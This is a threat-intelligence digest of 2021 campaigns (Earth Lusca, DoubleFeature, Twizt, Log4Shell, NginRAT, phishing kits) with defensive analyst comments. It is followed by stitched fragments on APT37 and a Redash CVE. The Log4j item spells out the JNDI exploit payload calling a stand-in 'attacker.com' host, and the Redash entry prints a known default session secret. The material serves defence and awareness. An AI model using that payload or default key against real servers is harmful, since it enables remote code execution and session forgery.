Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques
(published: January 17, 2022)
The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2.
Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020. Administrators should keep their important public-facing applications (such as Microsoft Exchange and Oracle GlassFish Server) updated.

A Deep Dive into DoubleFeature, Equation Group’s Post-Exploitation Dashboard
(published: December 27, 2021)
Check Point researchers have published their findings on the Equation Group’s post-exploitation framework DanderSpritz — a major part of the “Lost in Translation” leak — with a focus on its DoubleFeature logging tool. DoubleFeature (similar to other Equation Group tools) employs several techniques to make forensic analysis difficult: function names are not passed explicitly, but instead a checksum of it; strings used in DoubleFeature are decrypted on-demand per function and they are re-encrypted once function execution completes. DoubleFeature also supports additional obfuscation methods, such as a simple substitution cipher and a stream cipher. In its information gathering DoubleFeature can monitor multiple additional plugins including: KillSuit (also known as KiSu and GrayFish) plugin that is running other plugins, providing a framework for persistence and evasion, MistyVeal (MV) implant verifying that the targeted system is indeed an authentic victim, StraitBizarre (SBZ) cross-platform implant, and UnitedRake remote access tool (UR, EquationDrug).
Analyst Comment: It is important to study Equation Group’s frameworks because some of the leaked exploits were seen exploited by other threat actors. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Phorpiex botnet is back with a new Twizt: Hijacking Hundreds of crypto transactions
(published: December 16, 2021)
Check Point Research has uncovered a new variant of the Phorpiex botnet named Twizt. Historically, Phorpiex utilized sextortion, ransomware delivery, and cryptocurrency clipping. Twizt however, appears to be primarily focused on stealing cryptocurrency and have stolen half a million dollars since November 2020 in the form of Bitcoin, Ether and ERC20 tokens.The botnet features departure from it’s traditional command and control (C2) infrastructure, opting for peer-to-peer (P2P) communications between infected hosts, eliminating the need for C2 communication as each host can fulfill that role.
Analyst Comment: Bots within a P2P network need to communicate regularly with other bots to receive and share commands. If the infected bots are on a private network, private IP addresses will be used. Therefore, careful monitoring of network traffic will reveal suspicious activity, and a spike in network resource usage as opposed to the detection of C2 IP addresses.

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.

How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

During that time, APT37 has been attributed to the Adobe Flash zero-day attack (CVE-2018-4878) that targeted researchers based in South Korea who were performing research on North Korea. APT37 focuses on various organizations with an interest in North Korea.APT37 is famous for exploiting vulnerabilities in the Hangul Word Processor (HWP) which is commonly used in South Korea, especially by those in the government sector. Analysis suggests that this is a very detailed and sophisticated threat actor with an arsenal of malware and exploits at their disposal that targets various verticals and organizations with specially crafted campaigns. Other vectors besides the Adobe and Hangul vulnerabilities observed were the usage of Microsoft vulnerabilities as well, specifically CVE-2017-0199 (Microsoft Office UAC bypass) and CVE-2015-2545 (Microsoft Office Encapsulated PostScript (EPS). For further details on the exploitation of HWP documents and campaigns previously analyzed, please refer to our blog here.What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:VBA/Agent.AAK!trW32/PossibleThreatVBA/Agent.AF3C!trW32/Agent.ACDD!trPossibleThreat.MUPossibleThreat.PALLAS.HW32/FRS.VSNTGF20!trW32/Bsymem.MSJ!trAll network IOCs are blocked by the WebFiltering client.Any Other Suggested Mitigation?Due to the ease of disruption and the potential for damage to daily operations, reputation, and unwanted release of personally identifiable information (PII), etc. it is important to keep all AV and IPS signatures up to date.It is also important to ensure that all known vendor vulnerabilities are addressed and updated to protect from attackers having a foothold within a network. Attackers are well aware of the difficulty of patching and if it is determined that patching is not feasible at this time, an assessment should be conducted to determine risk.Also, as this campaign was sent via spearphishing and smsshing - organizations are encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spearphishing/smishing attacks. They also need to encourage employees to never open attachments from someone they don't know, and to always treat emails from unrecognized/untrusted senders with caution. Since it has been reported that various phishing/spearphishing/smishing attacks have been delivered via social engineering distribution mechanisms, it is crucial that end users within an organization be made aware of the various types of attacks being delivered. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department.

2021-11-24 16:15:14 | CVE-2021-41192 (lien direct) | Redash is a package for data visualization and sharing. If an admin sets up Redash versions 10.0.0 and prior without explicitly specifying the `REDASH_COOKIE_SECRET` or `REDASH_SECRET_KEY` environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value. This issue only affects installations where the `REDASH_COOKIE_SECRET or REDASH_SECRET_KEY` environment variables have not been explicitly set. This issue does not affect users of the official Redash cloud images, Redash's Digital Ocean marketplace droplets, or the scripts in the `getredash/setup` repository. These instances automatically generate unique secret keys during installation. One can verify whether one's instance is affected by checking the value of the `REDASH_COOKIE_SECRET` environment variable. If it is `c292a0a3aa32397cdb050e233733900f`, should follow the steps to secure the instance, outlined in the GitHub Security Advisory. | APT 32 | ||
